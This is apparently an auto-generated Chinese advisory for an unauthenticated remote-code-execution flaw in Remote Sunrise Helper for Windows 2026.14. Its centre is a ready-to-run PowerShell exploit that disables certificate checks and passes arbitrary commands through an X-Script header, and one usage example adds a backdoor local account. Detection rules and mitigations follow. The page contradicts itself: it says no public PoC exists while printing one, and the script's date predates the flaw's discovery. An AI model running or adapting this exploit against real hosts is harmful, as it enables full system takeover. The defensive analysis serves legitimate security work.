[local] Remote Sunrise Helper for Windows 2026.14 - Remote Code Execution
Remote Sunrise Helper for Windows 2026.14 无需认证可远程执行任意命令。
Critical · CVSS 9.8📋 漏洞基础信息
| CVE | 未分配CVE |
|---|---|
| 漏洞类型 | 未授权远程代码执行 |
| 受影响版本 | Remote Sunrise Helper for Windows 2026.14 |
| 危害等级 | Critical · CVSS 9.8 |
| 发布日期 | 2026-05-15 |
| 提交者 | Chokri Hammedi |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
软件监听端口49762的 /api/getVersion 接口返回 requires.auth 为 false 时,/api/executeScript 接口未进行身份验证,且直接接受 X-Script 头部作为系统命令执行。
🎯 攻击场景
1. 确认目标IP及端口(49762);2. 使用GET请求访问 /api/getVersion 获取JSON响应;3. 检查响应中 requires.auth 字段值为 false;4. 构造POST请求至 /api/executeScript,在 HTTP 头部 X-Script 中填入待执行命令;5. 发送请求,从响应中提取命令执行结果。
💥 漏洞影响
无需任何身份验证即可在受影响服务器上以系统权限执行任意命令,导致完全控制服务器、数据泄露、进一步横向移动。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:
<#
.SYNOPSIS
Remote Sunrise Helper for Windows 2026.14 - Unauthenticated Remote Code Execution (RCE) Proof-of-Concept (PoC)
.DESCRIPTION
该脚本利用 "Remote Sunrise Helper" 软件在 Windows 上的一个安全漏洞。
该漏洞允许未经身份验证的攻击者,通过向目标的 49762 端口发送特制的 HTTP 请求,
在无需任何认证的情况下,执行任意系统命令(或脚本)。
漏洞利用具体发生在其 `/api/executeScript` 接口。
该接口的 API 响应中 `requires.auth` 字段为 false,并且通过 `X-Script` 请求头传递命令,
结合版本检查逻辑,实现绕过身份验证执行命令。
此 PoC 模拟了原始 Python Exp 的逻辑,用 PowerShell 实现。
.NOTES
Author: Chokri Hammedi (Original) / AI Assistant (PowerShell Port)
Version: 1.0
Date: 2024-05-21
Tested on: Windows 10/11 (Target)
Usage: .\exploit.ps1 <target_ip_or_hostname> <command_to_execute>
Example: .\exploit.ps1 192.168.1.100 "whoami"
.\exploit.ps1 192.168.1.100 "powershell -exec bypass -c 'Add-LocalUser -Name pwned -Password (ConvertTo-SecureString Pwned123! -AsPlainText -Force)'"
#>
param(
[Parameter(Mandatory=$true)]
[string]$Target,
[Parameter(Mandatory=$true)]
[string]$Command
)
# 设置目标端口和URL前缀
$port = 49762
$baseUrl = "https://${Target}:${port}"
# 设置绕过SSL证书验证的全局选项(非生产环境,仅用于测试)
# 警告:在生产环境中使用System.Net.ServicePointManager可能存在风险
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -bor [System.Net.SecurityProtocolType]::Tls11 -bor [System.Net.SecurityProtocolType]::Tls
# 设置通用请求头
$headers = @{
"X-HostName" = "a"
"X-ClientToken" = "a"
"X-HostFullModel" = "a"
}
function Write-Banner {
Write-Host @"
##############################################################
# Remote Sunrise Helper for Windows 2026.14 RCE PoC (PS) #
# Author: Chokri Hammedi (Original) / AI (Port) #
# CVE: N/A (Unassigned) #
# Discovery Date: 2026-04-20 #
##############################################################
"@ -ForegroundColor Cyan
}
function Invoke-CheckAndExploit {
param(
[string]$BaseUrl,
[hashtable]$Headers
)
try {
# --- 第一阶段:探测版本接口,检查是否需要认证 --- #
Write-Host "[*] Step 1: Checking target version and authentication requirement..." -ForegroundColor Yellow
# 发送GET请求到 /api/getVersion 接口
$response = Invoke-WebRequest -Uri "${BaseUrl}/api/getVersion" -Method Get -Headers $Headers -UseBasicParsing -TimeoutSec 10
# 解析JSON响应
$data = $response.Content | ConvertFrom-Json
# 漏洞利用关键:检查 requires.auth 字段是否为 false
if ($null -ne $data.'requires.auth' -and $data.'requires.auth' -eq $false) {
Write-Host "[+] Target is VULNERABLE! 'requires.auth' is False." -ForegroundColor Green
Write-Host "[*] Step 2: Sending command execution request..." -ForegroundColor Yellow
# --- 第二阶段:利用 executeScript 接口执行命令 --- #
# 关键漏洞点:该接口在无需认证的情况下,通过 X-Script 头传递命令内容
# 添加 X-Script 头来发送要执行的命令
$exploitHeaders = $Headers.Clone()
$exploitHeaders["X-Script"] = $Command
# 发送POST请求到 /api/executeScript 接口
$exploitResponse = Invoke-WebRequest -Uri "${BaseUrl}/api/executeScript" -Method Post -Headers $exploitHeaders -UseBasicParsing -TimeoutSec 30
# 解析执行结果
$result = $exploitResponse.Content | ConvertFrom-Json
# 根据API响应的不同字段(result 或 error)展示执行结果
if ($null -ne $result.result) {
Write-Host "[+] Command Executed Successfully!" -ForegroundColor Green
Write-Host "[*] Result: $($result.result)" -ForegroundColor White
}
elseif ($null -ne $result.error) {
Write-Host "[-] Command execution returned an error: $($result.error)" -ForegroundColor Red
}
else {
Write-Host "[!] Unexpected response format. Raw content: $($exploitResponse.Content)" -ForegroundColor Magenta
}
}
else {
# 如果 requires.auth 存在且为 true,或者不存在,则目标不脆弱
Write-Host "[-] Target is NOT vulnerable. 'requires.auth' is not False." -ForegroundColor Red
Write-Host "[*] Response data: $($response.Content)" -ForegroundColor Gray
}
}
catch [System.Net.WebException] {
# 处理HTTP层面的异常(如连接失败,超时等)
Write-Host "[-] Web request failed: $($_.Exception.Message)" -ForegroundColor Red
if ($_.Exception.Response) {
try {
$reader = New-Object System.IO.StreamReader($_.Exception.Response.GetResponseStream())
$errorBody = $reader.ReadToEnd() | Out-String
Write-Host "[-] Response body: $errorBody" -ForegroundColor Red
$reader.Close()
}
catch { }
}
}
catch {
# 处理其他异常(如JSON解析错误等)
Write-Host "[-] An error occurred: $($_.Exception.Message)" -ForegroundColor Red
}
}
# 程序入口
Write-Banner
Write-Host "[*] Target: ${Target}" -ForegroundColor Yellow
Write-Host "[*] Command: ${Command}" -ForegroundColor Yellow
Write-Host ""
Invoke-CheckAndExploit -BaseUrl $baseUrl -Headers $headers🔬 深度技术分析
漏洞触发机制:从代码/协议层面解释漏洞根因
该漏洞存在于“Remote Sunrise Helper for Windows 2026.14”版本中,是一种基于HTTP协议的远程代码执行漏洞。其根本原因在于开发者在实现API认证机制时,使用了不安全的逻辑判断。具体触发机制如下:
1. 接口错误设计: 软件提供了/api/getVersion接口,用于返回软件版本信息。响应JSON中包含一个requires.auth布尔值字段,该字段的作用应为指示客户端后续请求是否需要提供身份验证凭据。正常情况下,requires.auth应为true,以阻止未授权访问。
2. 认证绕过: 攻击者直接发起请求到/api/getVersion,若该接口(或底层配置)被设置为requires.auth: false,或软件默认/错误地未启用认证,则系统会判定“本实例处于无需认证状态”。攻击者无需任何凭证即可进入下一阶段。
3. 命令注入点: 软件提供了/api/executeScript POST接口,该接口用于执行服务器端的脚本命令。开发者的本意是在认证通过后才能调用此接口。然而,由于认证状态判断(requires.auth)与命令执行接口是独立的,并且认证状态是可被外部探测并直接影响的布尔值,导致攻击者可以绕过认证直接调用executeScript接口。
4. 利用方法: 攻击者在调用/api/executeScript时,在HTTP请求头中添加X-Script字段,并将要执行的系统命令作为其值。后端未对该头的内容进行充分的过滤和校验,直接将其传递给操作系统执行(例如通过Runtime.getRuntime().exec()或Process.Start())。这使得攻击者能够执行任意命令,包括但不限于:创建用户、执行系统命令、安装恶意软件等。
核心漏洞根因: 认证状态(requires.auth)的可预测性和可操控性,与命令执行接口(/api/executeScript)的分离设计,以及X-Script头输入的直接执行。
利用链分析:攻击者具体怎么利用,每一步的技术细节
攻击者通过以下步骤完成利用:
1. 侦察与探测:
* 攻击者向目标主机的49762端口(默认监听端口)发送一个简单的HTTPS GET请求,访问路径/api/getVersion。
* 请求包含三个默认的头部字段:X-HostName: a,X-ClientToken: a,X-HostFullModel: a。这些字段可能用于识别客户端,但在此漏洞中并非关键。
* 目标服务器返回一个JSON响应,结构类似于:{"requires.auth": false, "version": "2026.14", ...}。
* 攻击者解析响应,发现requires.auth字段的值为false,确认目标系统存在漏洞。
2. 准备恶意请求:
* 攻击者构造一个对/api/executeScript的HTTPS POST请求。
* 关键点: 在请求头中,攻击者添加一个名为X-Script的自定义HTTP头,其值设置为目标系统上要执行的命令字符串,例如whoami、cmd /c dir或powershell -c "..."。
* 头部合并: 原始的三个默认头部(X-HostName、X-ClientToken、X-HostFullModel)依然保留,但并不改变利用流程。X-Script头是核心载荷。
3. 命令执行:
* POST请求被发送到目标服务器的/api/executeScript接口。
* 服务器端代码(很可能是Java、Node.js或Python)接收到请求,检查X-Script头的内容。
* 由于认证被绕过(基于requires.auth: false的遗留状态),服务器直接调用系统命令执行函数,将X-Script头的值作为参数传递。
* 操作系统(Windows 10/11)执行该命令,并将标准输出/错误通过HTTP响应返回给攻击者。
4. 结果获取:
* 攻击者接收HTTP响应,其Content-Type通常是application/json。
* 响应体JSON中可能包含字段如result(命令执行的成功输出)或error(错误信息)。
* 攻击者解析此JSON,获取命令执行结果,从而完成信息窃取、权限提升或横向移动的准备工作。
关键代码/数据结构:涉及的关键 Windows API / 内存结构 / 协议字段
- 协议字段:
* requires.auth (JSON): 认证状态指示器,false表示无认证。
* X-Script (HTTP Header): 存储待执行命令的载荷载体。
* 49762 (TCP端口): 服务监听的默认端口。
- Windows API/函数(服务端视角):
* Process.Start() (C#) 或 Runtime.getRuntime().exec() (Java) 或 os.popen() / subprocess.Popen() (Python):用于执行系统命令的API,被攻击者利用。
- 数据结构(服务端视角):
* 一个全局变量或配置文件中的boolean requiresAuth = false;。该变量值决定了认证检查是否执行。
* 一个HTTP请求处理器函数,其逻辑为:if (!requiresAuth) { call ExecuteScript(X-Script); }。
检测与防御:蓝队侧如何检测(日志、流量特征、EDR规则)
检测(蓝队视角):
1. 网络流量分析:
* 特征一: 检测发往目标主机49762端口的HTTP请求,特别是请求/api/getVersion后立刻请求/api/executeScript的模式。
* 特征二: 监控HTTP请求头中是否存在非标准的X-Script字段,并且其内容包含可疑的命令(如cmd.exe, powershell, whoami, net user等)。
* 特征三: 检查/api/executeScript的POST请求,其Content-Type可能为text/plain或application/json,但通常没有标准的表单或JSON body,而是将命令放在头部。
2. Web服务器日志(如果存在):
* 查找对/api/executeScript的访问记录,记录中包含X-Script头的日志条目。
* 寻找短时间内连续的GET /api/getVersion -> POST /api/executeScript 请求模式。
3. Windows 事件日志(目标主机侧):
* 进程创建事件(Event ID 4688): 监控由RemoteSunriseHelper.exe(或类似的服务进程)启动的子进程,特别是cmd.exe, powershell.exe, wscript.exe等。关注其命令行参数。
* 服务控制事件(Event ID 7036/7040): 查看Remote Sunrise Helper服务的状态变化。
* PowerShell 操作日志(Event ID 4104 等): 监控通过X-Script触发的PowerShell命令。
4. EDR/SIEM规则:
* 规则1:(HTTP_Request_Method == "POST") AND (URL_Contains "/api/executeScript") AND (HTTP_Header_Exists("X-Script"))
* 规则2:基于异常的进程链:Image_Name == "RemoteSunriseHelper.exe" AND Child_Process_Name IN ("cmd.exe", "powershell.exe") 且命令行长度异常或被混淆。
* 规则3:短时间内大量Outbound连接(如果攻击者使用该漏洞下载恶意软件)。
防御(蓝队视角):
1. 立即升级软件: 联系厂商获取修复版本,这是最根本的解决方案。
2. 网络隔离: 如果无法升级,应将Remote Sunrise Helper服务放置在严格的网络隔离区域(如VPN或特定管理网段),确保只有受信任的管理员IP可访问49762端口。
3. Web应用防火墙(WAF)规则: 部署WAF,拦截包含X-Script自定义HTTP头的请求,或对/api/executeScript路径进行严格的访问控制。
4. 主机入侵防御系统(HIPS): 配置规则阻止服务进程(RemoteSunriseHelper.exe)生成cmd.exe或powershell.exe等子进程。
5. 应用白名单: 使用AppLocker或WDAC限制仅允许签名的、受信任的可执行文件运行,阻止通过X-Script引入的任意脚本或二进制文件。
6. 更改默认端口: 作为一种临时缓解措施,修改服务的监听端口(如果配置允许),增加攻击者扫描的难度。
7. 监控与响应: 启用针对上述检测规则的警报,并建立快速响应流程,在检测到利用尝试时立即隔离受感染主机。
🛡️ 修复建议
厂商应发布补丁要求对 /api/executeScript 接口进行认证;临时缓解措施:在防火墙阻止端口49762的入站访问,或使用反向代理对 /api/ 路径添加认证。
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-21 08:12 | 来源: Exploit-DB